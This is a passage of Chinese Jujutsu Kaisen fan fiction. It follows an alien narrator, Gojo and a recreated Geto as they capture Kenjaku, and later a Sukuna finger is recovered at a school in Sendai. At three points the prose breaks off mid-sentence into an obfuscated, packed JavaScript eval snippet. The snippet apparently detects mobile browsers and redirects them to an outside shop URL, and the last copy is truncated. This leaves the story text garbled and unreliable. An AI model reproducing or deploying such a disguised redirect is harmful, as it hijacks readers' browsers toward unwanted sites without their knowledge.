触须在瞬间发动,密密麻麻像是菇类的菌丝,组合交错又成了蛛网——羂索更打算对夏油杰下手,却发现连个人影都看不见。 形态莫辨也就算了,速度未免也太夸张了。 一道道呓语从四面八方涌来。 “咒灵操术。”夏油杰提醒道。 我不动声色的点头,一边定位气息来源,一边分裂出更多触须用以对付它们。 眼见用以试探的咒灵瞬间就被那些莫名其妙的触须吞没,羂索意识到不可能在这里将两人一举拿下了,计划从诱捕变成了逃脱。 他释放出更多咒灵,自己则找准空隙预备从咒灵的掩护中悄悄溜走—— 可当他刚透过触须间的孔隙看到一丝光亮,手脚就被树根一样的东西牢牢捆住,动弹不得。 羂索这才反应过来此行的凶险,而他主动提出的远离人潮的举动,甚至算得上是自投罗网! 他早该想到的,一个会叫真人不准对人类出手的人,对暴露于人前的忌惮,绝不会比他更少。 突然,不等羂索想出脱困的办法,一道新的咒力突然加入战斗—— 谁? 在场三人同时朝力量来源看去。 “艾利恩,不是说跟朋友待在一起吗?” “你们平时都是这么玩的吗?” · 电光火石之间,我将事情的优先级进行了排序。 小偷,当然不能放跑。 夏油杰,也不能暴露。 趁飞舞的触须还充当着掩护,我悄悄将夏油杰包成一个蚕茧,果断丢出了窗外。 五条悟注意到有什么东西突然飞了出去,但相比之下,他更在意艾利恩的反应,和那些不知道从哪冒出来的咒灵。 就在这时,所有的触须瞬间又变成透明状,待看清眼前的一切和消失的夏油杰,羂索瞬间理解了眼前的艾利恩、六眼、咒灵操使之间的关系。 如果不是自身难保,他还挺想知道艾利恩跟现在的六眼,谁才是更强的那个,或者说,谁才是更大的威胁。 更何况,他的确有办法对付六眼,但前提是自己现在这副身体还不能暴露。 就在遮挡消失的同时,羂索召唤出一只鬼蝠形态的咒灵,成功将自己挡了个严实,趁艾利恩的注意力被五条悟转移,他不动声色的后退一步,几乎能感受到窗外的风从身后吹来... 噗呲。 羂索瞪大双眼,震惊的低头看向从自己体内穿过的刀锋。 不等他作出反应,那刀又消失,来不及转身或伸手牵掣,一阵自脑后贯穿至眉心的刺痛就使得他意识几乎涣散—— 一切都发生在眨眼之间。 而这个从天而降的突袭者,正是刚刚被艾利恩甩出去的夏油杰。 穿着袈裟的‘夏油杰’倒下了,手握长刀,被溅了一身血,一身休闲装的夏油杰从他身后出现。 五条悟沉默的注视着眼前这一幕,随后将视线投放在已经收起触须的艾利恩身上。 死而复生,和能创造一切的外星人,到底哪个才是真正的奇迹。 到底哪个,才是一切奇迹的本源。 他想听她亲口回答。 “总感觉还没死透。”夏油杰盯着地上属于自己的尸体,嫌弃的用刀尖推了推。 “也可能在装死。”我补充道。 “需要帮忙吗?”五条悟自觉加入话题。 夏油杰抬头看了他一眼,又用沉默将决定权交给我。 “这次要好好处理夏油杰的尸体,处理干净一点。”我说。 “嗯,我知道。”五条悟平静的应答,很快,他抬头看向站在一边,用长刀撑着地面,不打算走过来,也没有逃跑迹象的某人。 “那边的小哥,看上去有些眼熟呢。”五条悟抬起手,打了个招呼。 “你不会也姓夏油吧?长得好像啊,双胞胎吗?”他故作惊讶。 “抱歉啊,我随母姓,现在姓佐藤。”夏油杰双手抱臂,颔首笑称。 随着他的放手,沾着血的长刀不仅没有掉落,反而化作无数蓝色的星子,消失在空气中,像是一群隐没在河边草丛里的萤火虫。 “是吗?”五条悟声音微不可察的一冷,“她还活着?” “嗯,就站在你旁边。”夏油杰没心没肺的说。 “不要乱占外星人的便宜啊”五条悟不满的抱怨,“地球人可不接受你这种家伙的抹黑。” “哦?我‘这种家伙’——你也开始习惯用笼统的说法了吗?悟。” “想听的话我倒是不介意说清楚。” 小学生吗这两个人。 “我全部都知道,悟。”我适时打断即将升级的事态。 五条悟果然看了过来,我继续道:“我知道他杀了自己的父母,还杀了很多你们的同类,他想抢走里香,然后杀更多的人,他被通缉了,也对你的学生出过手,他是敌人,对吧。” “艾利恩很清楚嘛”他说,“怎么还跟他做朋友呢?不担心被我迁怒吗?” 因为我不觉得你讨厌他啊—— 这句话我没有说。 “可是我说的那个人已经死了啊。”我指着地上的尸体,转头看他。 “盘星教教主、咒灵操使、高专逃犯、夏油杰、随便怎么称呼——总之都已经死了,尸体就在这里。” “从各种意义上来说,这就是真正的夏油杰了。” “至于面前站着的这个,只是一个复制品,克隆羊多莉。” “我创造了他,虽然是无意的。” 我收回放在五条悟身上的视线,看着夏油杰的眼睛,同时也是向他解释。 “死而复生,于他,于我,于任何一个人,都是意外。” “而且死而复生的说法在我看来也不准确,死过的人的确已经不存在了,拥有全部记忆,同一份意识,相同的灵魂,但除了样貌,所有的物质信息都改变了——难道你能从他身上感受到一丝属于夏油杰的咒力吗?” “这样的他,连人类都算不上,真的还能算原来那个人吗。” 五条悟沉默着,过了一会,才看向站在对面的‘人’—— “那你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270978|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘大义’呢?你打算怎么办?艾利恩可是站在我这边的,如果我不高兴,你亲爱的妈妈可不会管你。” “你在骄傲什么啊。”夏油杰有些没眼看。 但五条悟的确说到了关键,关于他要做的事情,他们的确还没有谈过。 “已经没用了。”我说。 闻言,两道默契的视线同时看了过来。 “连人都不是的你,还能用什么立场去决定人类的未来?” 夏油杰眯了眯眼,“需要立场吗。” “需要和你站在同一立场的同类”我说“你不再是,也不会是人类了,这个世界上再也不会有像你一样的存在,没有谁会像你一样诞生,没有谁能拥有与你相同的体验,你或许会和谁站在一起,因为相同的目标。” “但最后,你一定只能自己离开,或者看着他们离开。” “人类或许认为这是一种孤独,本质只是一条规律,等你像适应时间与气候一样适应它,就不会感到消极了。” “至于能否享受,我也不知道,至少我没有享受过什么。” “你什么都可以做,但事情一定会和你想的不一样,对于这件事,你应该已经有所体会了吧?” 夏油杰没有否认,这也是他没有再打断对方的原因。 傲慢的决断,仿佛她就是他命运的主宰——站在旁观者的视角,或许会产生这样的误解,但夏油杰自己知道,她说的都是事实。 他甚至比她发现的还早,对于自己身上的那些‘变化’。 记忆与理想还历历在目,唯独情绪正在一点一点稀释,因为有更庞大的东西将容器扩充了,平静唤来轻松,同时也带走热枕。 再看到来来去去的猴子,都生不出多少憎恶的他,还会像从前那样珍视自己的家人吗? 当他找回术式,再次吞下咒灵的时候,脑海中浮现的是理想的蓝图,还是‘美味’的感慨呢。 明明是他用大义将那些人汇成一堂,组建一个只属于咒术师的家庭,可到了最后,当其他人全心全意的为之沸腾时,只有他在一旁不断冷却... 太过分了吧。 一想到那样的场面,夏油杰就更讨厌已经倒在脚下的羂索了。 虽然无法实现他们的愿景,但对比那样的未来,像人类一样死去,已经是他最好的结局了。 他相信艾利恩没有撒谎,的确,一切的扭曲,都怪这个寄生虫。 “我相信他已经考虑好了。”我抬头看向一边的五条悟。 “我也相信,如果佐藤小朋友不听话,艾利恩妈妈会好好教训他。”五条悟笑着说。 连六眼都发现不了的话,总监会那边就更检测不出什么了,而且就像艾利恩说的那样,现在的夏油杰,哪怕亲身站在他们面前,恐怕也没人能确认,他就是那个本该死去的人。 没猜错的话,那天躲在衣柜里的,恐怕也是他。 但如果不用肉眼确认,在自己这里,夏油杰和艾利恩几乎可以看作是同一个存在。 他也算是理解艾利恩当时为什么会把忧太和里香看作同一个人了。 好在还有灵魂。 但说到底,他的信任,到底是因为艾利恩的能力,还是因为夏油杰对自己的创造者的信任呢。 嘛,他也无法分辨。 信任这种东西又没有灵魂一说,只是简单粗暴的选择罢了。 “现在可以回家了吗?”五条悟歪了歪头。 我看看他,又看看夏油杰。 “你同意了?”我有些惊讶,没想到五条悟这么热情好客。 “欸?”五条悟呆住,“同意什么?” 是啊,他同意什么了。夏油杰这次是站在五条悟这边的。 “当然是让杰跟我们一起回家了,难道你想害他流浪街头吗。”我坦然道。 五条悟眨了眨眼—— “是我害的吗?” 然后转头盯着那个狡猾的不说话的家伙—— “别以为不出声就没事了!都这么大了,怎么还只知道躲在妈妈后面?” “抱歉,麻烦你先收留我了。”夏油杰一点也不抱歉的说着。 “为什么我要做这种事啊,艾利恩是你妈妈,我算...” “爸爸?”我随口接上。 五条悟愣住了,缓慢的转过头,一动不动的盯着我。 怎么了。 夏油杰移开视线,事不关己的看向一边。 啊啦啦,原来是这种关系啊。 18.想吃的第十八天 悟,我希望你开心。 悟,不要买你不会吃的东西回来,我是不会帮你吃掉的。 悟,能让我尝一口吗...不是说巧克力。 悟,抱歉,答应你的事情没有办到,不过结果也不算坏,该怎么算由你决定。 悟,生气了吗? 悟,讨厌我了吗? 悟。 悟。 你想被我吃掉吗?我知道现在不行,算了,还是说说你的条件吧。 暂时没有?好吧,等你想到了再告诉我。 没有不耐烦,我还有很多时间。 随便你,我不在意他们的看法,如果你需要,我也可以解释,但是否接受我不能保证。 我哪也没去,悟。 我没有难过,只是没有想去的地方。 ...没有嫌你烦。 你喜欢我吗?悟。 最后唤醒他的到底是那句不可能发生在现实的梦语,还是打在鼻尖湿润的呼吸,五条悟也说不出清楚。 但当车内微弱的光线将他唤醒时,五条悟的心情就没这么美好了。 目光所及没有家猫,只有一只正在开车的伊地知,和坐在副驾驶的伏黑惠。 五条悟想起来了。 说完有件事情想去确认一下后,他就把和伊地知会和的任务交给伏黑惠了。 沿着那道令人不得不在意的缝合线剪开,偷盗者的本体也当场暴露—— 令人意外的是,哪怕被重创本体,那颗‘脑仁’也没有直接丧失生命迹象。 无论是五条悟、还是艾利恩,都对此进行了确认。 按照艾利恩的想法,这种喜欢到处捣乱的家伙还是直接销毁比较好,她不介意用自己的肚子作为对方的埋骨之地。 但五条悟和夏油杰都持有不同的意见。 站在五条悟的角度,哪怕对方那些神不知鬼不觉的小动作还算得上威胁,但站在咒术师的角度,只能依靠寄宿来获取宿主术式的能力,本身倒是没多少危险性。 至于夏油杰,他只是单纯的好奇,因为艾利恩说这家伙不是咒灵,本质上还算人类。 根据真人的态度推断,对方应该是用某种计划说服了他,当然,还有那只火山头的咒灵。 “有没有办法在不会让他逃走的情况下,从他口中套取情报呢?” 说完,夏油杰把目光转向艾利恩。 他不知道自己的要求在她看来是否过分,毕竟作为一个意外之下重返人世的死人,哪怕能分享所谓的‘品尝美食的愉悦’,但对于这位实用主义者来说,恐怕也没有想象中的重要。 和五条悟不同,他连作为食物的资格都没有,因为艾利恩说如果她能尝到自己本体的味道,那么他和她的滋味,想来也不会有多少区别。 是的,夏油杰清楚的记得,在他释放完漩涡后,那双黑色眼睛中闪动的兴奋之火,瞬间就熄灭殆尽了,连余烬都不曾留下。 而他也没有天真到把对方的那些过家家的玩笑话当真。 “这个简单。”艾利恩不假思索道。 所有思绪顷刻湮灭。 她答应了。 随后当着两人的面,艾利恩伸出一条触须,在那颗刚刚与□□分离,却也算不上新鲜的脑仁上咬了一口。 “啊。”五条悟微张着嘴,又闭嘴微笑: “原来如此,不止是物质信息,连记忆也能通过解码获取,真方便呢。” 夏油杰则想到了自己的记忆。 既然她能为自己创造一副至少外形上一模一样的身体也就意味着自己的肉/体信息也已经为她所掌握了,包括记忆。 原本他还疑惑,艾利恩为什么会对自己的事情这么清楚,明明生前她连自己在高专上过学的事情都不清楚,现在却能将他的生平全数掌握。 只要她愿意,世界在她面前就是赤裸的。 “简单来说,这个名叫‘羂索’的诅咒师,目的是人为制造一段针对人类的冰河期,从而完成对现有人类的筛选,而幸存下来的人类都会具备强盛的咒力,截止到这个阶段,你们也算不谋而合。” 她直白的说,毫不避讳五条悟和夏油杰截然相对的立场。 “哇哦。”五条悟配合的感慨一声。 “然后呢?”夏油杰不置可否。 “在这之后,所有个体——不论是人类还是咒灵,都会成为养料,用以传召一个前所未有的超级体,按照羂索的想法这个超级体应该会是咒灵。” “但我觉得说不定会是一个超出人类、咒灵评价体系之外的物种,就像现在的杰一样。” “他这么做的目的又是什么?”五条悟兴致缺缺的问到。 夏油杰却有了猜测,尽管他跟羂索接触的时间也很短暂,但他曾在另一个人口中听到过相似的答案。 “创造本身就是目的。”我说。 · 以防万一,在夏油杰本人的许可下,他原来的尸体还算被我吃掉了,没有一点味道,跟吃橡皮没什么区别。 而羂索的本体则被我们封锁在一个四四方方的盒子里,对外伪装成一个普通的魔方,夏油杰后来玩了一路。 至于和羂索勾结的咒术人士,我将根据记忆整理出的一份名单交给五条悟,核实和清理工作都交给五条悟,唯一需要注意的是,在羂索的计划中还有一位京都校的学生,但目前只是处于计划阶段,还没有正式接触——前提是羂索没有在记忆中骗人。 和五条悟告别后,我们回到了原来的下水道。 夏油杰已经换上了原来那件袈裟,他不肯穿被羂索穿过的那件,虽然我提醒他那也是用他自己的身体穿的,所以那件衣服本质上没被任何人穿过,但他还是想让我帮他重新做一件。 “拜托你了,妈妈。”他毫无负担的笑着说。 人类还真是善变,不久前我还能用这个称呼打趣他,现在反而被他当作了撒娇的借口——他想否认也没用,用亲昵的称呼提出不必要的请求,放在任何语境之下都是撒娇。 但我答应了他,所以也没必要再纠结这些无关紧要的东西。 除了新衣服,他还拜托我在他额头上制造一条和羂索一模一样的缝合线。 “你打算接手羂索的计划?” “不,我对那个连影子都摸不着的超级体可没有兴趣,但是作为咒灵操术的对象,至少真人还是很有价值的,还有...” “羂索管火山头叫漏壶。” “嗯,那孩子也很不错呢,顺带一提我觉得会是烤肉味的。”夏油杰笑着说。 “的确,他看上去也挺好吃,应该不会比里香差到哪去。”我点了点头。 “说起来,高专的孩子现在对你应该意见很大吧,毕竟亲眼看见站在自己这边的人,在生死关头叛向了‘敌人’。” “也许吧,我不是很能理解人类的想法,而且那个时候也没有背叛的念头,说到底,我也没对谁许诺过自己的立场。” 立场,她又提到了这个词。 “什么啊”夏油杰轻笑一声,“你不是‘五条派’吗?” “悟吗,啊,的确是不能惹他生气,也说好了会答应他提出的条件,但不包括成为咒术师,或者站在高专那边。” “是那家伙会答应的条件,可以问一个私人问题吗?”夏油杰话锋一转。 “随便问吧,都问了这么多了,不差这一个。” “你知道他喜欢你吗?” “爱情电影里那种喜欢吗?”我突然想到五条悟提到过的一部电影。 “大概。” “这样啊...那得想办法让他爱上我才行,这样就会心甘情愿被我吃掉了吧,不是有‘能死在你手里我很满足’这样的说法吗。” 残念。 作为曾经的挚友,夏油杰替五条悟默哀了三秒。 “过分啊...” 夏油杰的感慨还没结束,就听见对面的人问—— “如果是‘喜欢’的话,他会允许我做到哪一步?” 欸? 这是能问的吗,是该问他的吗,是他能回答的吗? 夏油杰愣了好一会,才干巴巴吐出几个字: “你想做到哪一步呢?” “亲吻。” 夏油杰在想自己是不是默哀早了。 “亲在嘴上的那种。” 没问你这个啊。 夏油杰忍不住扶额。 算了,还是先别管这两人的感情问题了,听的再多也不能管。 · 与此同时,下水道。 “那两个人到底是什么情况?”漏壶一边继续修复着被洞穿的身体,一边跟留在原地真人打探情报。 “那个长得跟夏油一模一样的人,也说自己是夏油,两人到底是双胞胎还是其中出了一个骗子...我也不知道。”真人两手一摊。 “至于另一个,如果我说当时你要是没有阻止她们行动就不会受伤的话——你会相信吗?” 漏壶不作答。 其实是有理由相信的。 那样的速度,如果想当场杀死他,也不是做不到。 但对方不这么做的理由到底是因为情况紧急来不及斩草除根,还是本身也没有杀死他的目的,这就不好说了。 “有问题的话不如当面问问,应该快回来了。”真人盯着两人消失的洞口。 出乎意料的是,回来的人居然是漏壶认识的那个‘夏油’。 “怎么是这副表情?”夏油杰笑眯眯的问道。 “你迟到了。”漏壶说。 “抱歉,因为收到了五条悟就在附近的情报,暂先避了避风头。”夏油杰不经意的解释,“你们打架了?” 漏壶收回视线,“不,是其他人。” “嚯...还有人能把你伤成这样,我可没听说,除了五条悟,还有特级咒术师留在东京。” “咒术师...”漏壶低着头,“应该不是。” “真人呢?”夏油杰突然问。 真人盯着他看了良久,慢慢悠悠的开口:“我足够听话,所以才没有受伤。” “顺带一提,那家伙和一个跟你长得一模一样的家伙一起行动哦,也叫他夏油呢。” “真人要等的人也包括那位夏油吗?”夏油杰反问到。 漏壶则皱眉看着突然说出情报的真人。 “那倒没有”真人说,“所以,你该怎么证明自己才是站在我们这边的夏油呢?” “怎么感觉你已经默认了啊,我倒是有证明的方法,但我可不打算对你们用呢。”夏油杰轻声道。 真人随手朝他扔去一只被微缩化的咒灵—— 夏油杰看准目标,毫不犹豫的发动术式。 一转眼,他的手上已经多出了一个咒灵球。 “这样就够了吧,我对杂鱼可没有兴趣。” 真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287701|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不置可否,漏壶盯着他看了一会,倒是打消了怀疑。 唯有术式是做不得假的。 · “啊啦,你回来啦,还以为你会跟你的新朋友待在一起呢。” 看到坐在第二母星上的我,回到家的五条悟很意外。 我没有转头去看他,事实上,我从来不需要用眼睛去‘看’,除非是配合人类所作的演出,而那些都不是真正的我。 五条悟走到我旁边的单人椅上坐下,卸下所有力气,就这么靠着椅背。 “你不是看过了吗。” 他说的是电视机里正在播放的《水形物语》。 电影演到了女主角艾丽莎正在跟室友争论,她想救出实验室里的外星人,室友不同意,她给出了很多理由,用手语,因为她不能像正常人一样说话。 她说他很孤独,无依无靠。 室友说我们都很孤独。 她说他是她见过最孤独的东西。 室友说你看,你也说了,那是个‘东西’,是个怪物。 她说她无法像正常人一样说话,她说她作为人类是不完整的,她说那么她是谁。 她还说,她所经历的一切都是为了遇见他,而当他望向她,他不知道她缺少了什么,或者她是如何的残缺,他看到了她本来的样子。 我想那或许是一种本质。 她最后说,每当他看到她,他都是高兴的,每次都是,每天都是。 现在,她要么救他,要么任由他死去。 “还没有带着问题看过。”我说。 “哦?所以你的问题解决了吗?”五条悟说。 “这取决于你。”我继续盯着电视机里的光影。 “好吧,那艾利恩得先告诉我你的问题是什么。” “有人说你喜欢我,像艾莉莎一样喜欢,没猜错的话,这也是你那天突然聊起这部电影的原因。” “什么有人啊,根本就是杰吧,是那家伙对吧,下次绝对要狠狠揍他一顿,干脆哪天趁他不注意把他推进下水道再冲走好了,真讨厌啊。”五条悟装作生气的样子。 但我知道他没有,没有生气,没有心虚,也没有害羞。 “你知道我也喜欢你吧,但怎么定义我的喜欢,是你的事情。” “为什么?艾利恩不是一向很霸道的吗?”五条悟疑问道。 “因为我不会区分我的喜欢,是不能,也是不想,所以定义权归你。” “按照剧情,接下来就该私奔了吧。” 我不知道他说的是他们还是我们。 “不需要,这里没有人能伤害我,我也不会让你受伤。” “好吧,艾利恩觉得他们交往了吗?嘶...话说都做到最后一步了,好像不需要讨论这个问题了吧。” “原来悟是分不开的那种。” “嗯?什么分开不分开?”五条悟有些懵。 “有些人认为爱与性是可以分开的,怀里抱着一个人,心里却装着另一个人,他们认为这并不矛盾。” “那只是给私生活败坏找的借口吧。” “是吗,我还不够了解人类,所以在这种事情上分不出真假,所以才来问你。” “嗯,他说的没错。”五条悟说,“我可是很喜欢你的,所以现在正在伤心。” “如果我像‘他’一样不会说话,你是不是就不会伤心了。” 我的触须落在电影里的异形生物上。 “嗯...应该能感觉到吧,至少我觉得艾莉莎是感觉到了喜欢,才会跟他一起走的。” “这么说,我好像能感觉到你喜欢我。” 五条悟笑了,但紧接着是一声不轻不重的叹息,“不公平啊,是因为我没有触须吗。” “如果不需要私奔,你想和我交往吗?” “可以吗?如果你像艾莉莎一样喜欢上我了怎么办,搞不好会舍不得吃掉我哦。” “不会的”我忍不住微笑,“我只会比现在更想吃掉你。” “很危险哦。” 自始至终,眼前的人都没有看过来一眼,作为告白,真是大大的不合格。 五条悟的手臂抵靠着座椅一侧的扶手,手撑着脸颊,他看见青色的水波在某人的眼中跃动,黑色是能吸收一切的颜色,它什么都包容,但它还是它。 嗯,的确很危险,但是... “没关系,我的工作就是处理危险。” 电影的末尾引用了一节短诗: 无法感觉你的形状 发现你环绕着我 你的存在使我眼中充盈着 属于你的爱 我心生谦卑 因你无所不及 · 夏油杰是在找到陀艮的时候收到短信的。 发信人是艾利恩,由于他的阅读速度过快,当他意识到自己读到什么内容的时候,一切都已经来不及了—— 【你说的没错,他的确喜欢我,我们开始交往了。】 夏油杰冷漠的关上手机。 “怎么了?”漏壶看了他一眼,叼着鼻烟壶问。 “一条没用的情报。” 到底要说多少遍,他根本不想听这两个人的爱情故事。 还有没有人管管了。 2018年,6月。 “惠,你确定这里只有一根手指吗?”我问。 “如果情报没出错的话,是。”伏黑惠点点头。 19.想吃的第十九天 “会不会提前被人拿出来了,我闻到了两处气息。” 判断依据是在五条悟的请求下吃下过的手指,据说是来自一个名叫两面宿傩的死者,但用咒术界的说法,他还没死,只是被暂时封印了。 但也没差。 等我把全部手指吃完,他就彻底是个死人了,连尸体都不会留下,应该可以安安心心去往轮回了。 从理论上来说,他应该向我道谢。 “我相信艾利恩的判断,分头行动吧。” 这就是我喜欢跟伏黑惠一起行动的原因,他话不多,也很少说废话。 “不用急,我跟那边确认一下。” 当着伏黑惠的面,我拨通了电话—— “你那边有少吗?啊...菜菜子那边的也没了啊,那就是一根也没有了...没有在抱怨,那种东西也不是很好吃啦,没问题我就先挂了。” 对于通话的对象,伏黑惠虽然没听过名字,但姑且知道那是艾利恩小姐的朋友,因为得罪的人太多,只能在暗处行事。 五条老师似乎也知道有这么个人,但也没见他跟那边联络过,所以伏黑惠推测应该只是艾利恩小姐的私交,对方应该也清楚艾利恩小姐的身份,否则也不会放心与她往来。 对此,伏黑惠很能理解。 看上去年纪不大,身份只能说是外星人,但艾利恩小姐表现出的对社会规则的尊重与为人处世的周全,已经使她成为和七海先生一样靠谱的存在了。 “好了,虽然我觉得你说的那个地方应该没有手指的痕迹了,但要是不放心,你可以先去看看。” “然后...我闻到的两处气息都在移动,应该是被人带在身上了。” “是有人偷走了吗?”伏黑惠皱眉。 我摇了摇头,“移动速度很慢,应该是被学生拿走了,这个年纪的孩子好奇心重也正常,我先去气息更重的地方看看。” “另一处目前正在操场,如果神龛里没有你就先去那边吧,但需要尽快,对方随时可能离开。” “好,我知道了。” 确认完分工,我顺着气息的指引走到教学楼,在人群中看见两个穿着校服的学生,都是普通人。 “你好。” 原本正在上楼的佐佐木犹豫着回头,就看见一个黑发女生正站在楼下仰头看着自己。 那声问好应该也是她发出的。 佐佐木伸出食指,指了指自己——“叫我吗?” 我点了点头。 “有什么事吗?”佐佐木确定自己不认识这个人。 我朝她伸手,掌心向上: “你身上有一件危险物品,很危险,我是来负责回收的。” 一瞬间,佐佐木就猜到了我说的是什么,看她的表情就知道了,但她还有些犹豫。 “处理不当的话会出人命。” 这下两人都愣住了,佐佐木开始摸向口袋—— “但是,既然是这么重要的东西,为什么会随便放在学校里呢?” 她压低眉头,看上去有些生气。 “而且你都这么说了,如果没有证据,我想还是交给警察比较保险。” 虽然是不配合的态度,但她说的有理有据,甚至让我开始怀疑,的确是咒术界的管理制度存在问题。 没错,既然是这么重要的东西,正常人听说了肯定也不会随意交给没资质的人,万一今天来的不是我和伏黑惠,而是一些别有用心的人,她这么处理还更为妥当,虽然会将自己置于危险之中。 佐佐木此刻也很紧张,她能看出来对面的人身份不一般,正常人走路会这么悄无声息吗? 但也正因如此,如果对方是坏人,这东西又这么重要,更不可能轻易交给她了。 “好吧,你可以先不给我,但我会叫能证明身份的人过来,在此之前,我会和你们待在一起。” 佐佐木又是一愣,她没想到对方还挺好说话。 “可以...倒是可以。”她犹豫着,和同伴对视一眼。 在佐佐木的带领下,我们走到一间空教室。 “你们应该带我去人多的地方,这样我就不方便对你们动手了。” 我提醒道。 “啊、的确是这样。”佐佐木后知后觉。 她又盯着我看了一会,问:“话说你叫什么?” “艾利恩。”我说。 “艾利恩...是坏人吗。”她嘟着嘴问。 “不好说。” 我自认为自己不坏,但我也不是人,所以没办法回答她这个问题。 听完,佐佐木笑了,然后开门—— “没关系,我相信艾利恩。” “你们原本想用这个干什么?” 我们在灵研社的社团活动室坐下,佐佐木将用绷带包裹的手指放在桌上。 在这之前,我给伊地知先生打了电话,他正在赶来的路上,而且他说五条悟听说东西不在原来的地方,也打算过来一趟。 希望这次不要带太多奇奇怪怪的特产。 “没什么”佐佐木红着脸,不好意思的摸了摸后脑勺“就是想拆开看看是什么东西,毕竟这个符纸也很让人在意嘛,我们又是灵研社,姑且也算社团活动...” “很危险。”我说。 “知、知道了啦,下次不会了。”她心虚的回避。 这次来仙台的只有我和负责回收手指的伏黑惠,即便我已经把情况告诉了伊地知,他也只能想办法联系正在仙台出差的辅助监督,而且还得是随身携带有证明文件的人。 “那个...”佐佐木又兴奋,又有些心虚的看向我。 我默默看着她,没有开口打断,无疑是一种鼓励,对她来说。 “请问您是做什么工作的呀?抱歉,我已经没有刚才那样怀疑您了,但是应该没有‘专门回收诅咒物’这样的工作吧...” “嗯...你说的对。” “那...” “我没有工作。” “欸?”佐佐木眨了眨眼,“那您是还在上学吗?” 我摇了摇头,“我不上学。” “那...抱歉!我知道这样问很不礼貌,但您看上去也不像无家可归,难道是不方便透露给普通人的工作?” 眼见佐佐木越说越兴奋,看来是必须给她一个解释了。 “我的确有地方住,但也确实不工作、不上学...嗯,现在住在男朋友家里。” “啊,这样啊。”佐佐木兴趣顿失。 世界恢复安静。 才怪。 和室内平静到枯燥的氛围不同,门外的咒灵们可是一个个饥渴难耐、蠢蠢欲动了,只是碍于我遍布房间的触须,才无法向前一步。 就在我犹豫要不要打电话问一下伊地知他叫的人到哪了的时候,门外传来一阵敲门声。 结合伏黑惠五分钟前发来的短信,我原本以为门外的人就是他,但仔细一闻还是发现不对。 这个时候还能精准定位到手指的位置,来者不善。 “佐佐木前辈!井口前辈!” “虎杖?”佐佐木腾的一下站了起来。 门外的人听到这声应答,迅速回应—— “是我!你们还好吗?话说门为什么打不开...对了,那个咒物——绝对不能拆开!” 又是几声令人牙酸的‘拔’门声,可普通的木门还是纹丝不动。 虎杖悠人百思不得其解,最后只能冲着门内大喊—— “绝!对!不!能!拆!” “绝对——绝对——不能拆!” 确定门外之人的人类身份后我就起身去开门了,不巧的是,这几句铿锵有力的提醒就这么把我砸了个醍醐灌顶。 谢谢你啊,虎杖同学,要不是你的提醒,我还蒙在鼓里呢。 “绝绝对对不能....” 虎杖悠人话音未落,原本怎么也打不开的门就被人从门内拉开。 开门的是一个蓄着黑色长直发的女生,几根零落的刘海若有若无的搭在直而挺翘的鼻梁之上,有时又会被风吹到两边,完整的露出比起精致,更应该用工整来形容的五官,和平整的和面无表情的神色完美贴合的皮相。 更令人心惊的是那双眼睛,黑的见不到底,但此刻明显蕴含怒色—— 也可能是虎杖悠仁的心理作用。 他甚至觉得对方脑袋上如果有漫画一样的语气泡,此刻的内容绝对是:听到了,两只耳朵都听到了。 如果不是情况紧急,虎杖绝对会先跟她好好道歉的。 但他又想到刚才的异常,眼下这个一看就不是学生的女生,更是处处透露着诡异与阴谋的气息。 虎杖悠仁咽了咽口水,他本能的感受到威胁,但他还不能在这里动手。 “佐佐木前辈、井口前辈,快出来。”他死死盯着挡在门口的人,用尽可能平静的语气提醒两位前辈。 “别出去。”我说。 现在外面到处都是被宿傩手指吸引来的咒灵,出去就是送死。 原本已经走到门口的佐佐木和井口脚步一顿。 “找到了吗?”刚刚将走廊一侧的咒灵清理干净的伏黑惠匆匆赶来,碍于墙壁的阻隔,他一开始只看到了站在门口一动不动的虎杖悠仁,并没有看到我。 虎杖悠仁点了点头,伏黑惠注意到他爆出青筋的拳头,眉头也随之一皱—— 可当他看清虎杖对面的人时,又放心了。 “艾利恩。” 伏黑惠打了个招呼,虎杖悠人惊讶的看向他,伏黑惠毫不怀疑虎杖悠人此刻正在对他的人性进行第二次评估。 在误会成型之前,伏黑惠解释道: “艾利恩是跟我一起来回收手指的,如果不是她,你的这两位朋友肯定已经被咒灵下手了。” 佐佐木和井口这才意识到虎杖悠人异常的表现是为了什么,两人看了看伏黑惠,又看向虎杖,狠狠点头。 虎杖悠仁的眼神恢复清澈,茫然的视线最终定格在依旧不为所动的人身上。 “抱歉!非常抱歉!”他甚至鞠了一躬。 “嗯。”我应了一声,随后转头看向站在我身后的佐佐木和井口——“现在可以把东西交给我们了吧?” 佐佐木没有犹豫,当即将放在桌上的手指拿给我,我本能的想用触须直接吞下,但想到在场还有三个普通人,最终还是老老实实的用手接过。 就在我犹豫到底是现在就吃掉,还是等把三个小鬼送到安全的地方以后再趁没人注意的时候吃下去时,一声异常的响动自天花板上空传来。 我收起手指,和打头的伏黑惠一起朝外走去,因为小鬼太多,还分出了四根触须分别照看他们,一有不对就将人拉到身边。 生死问题面前就顾不了那么多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 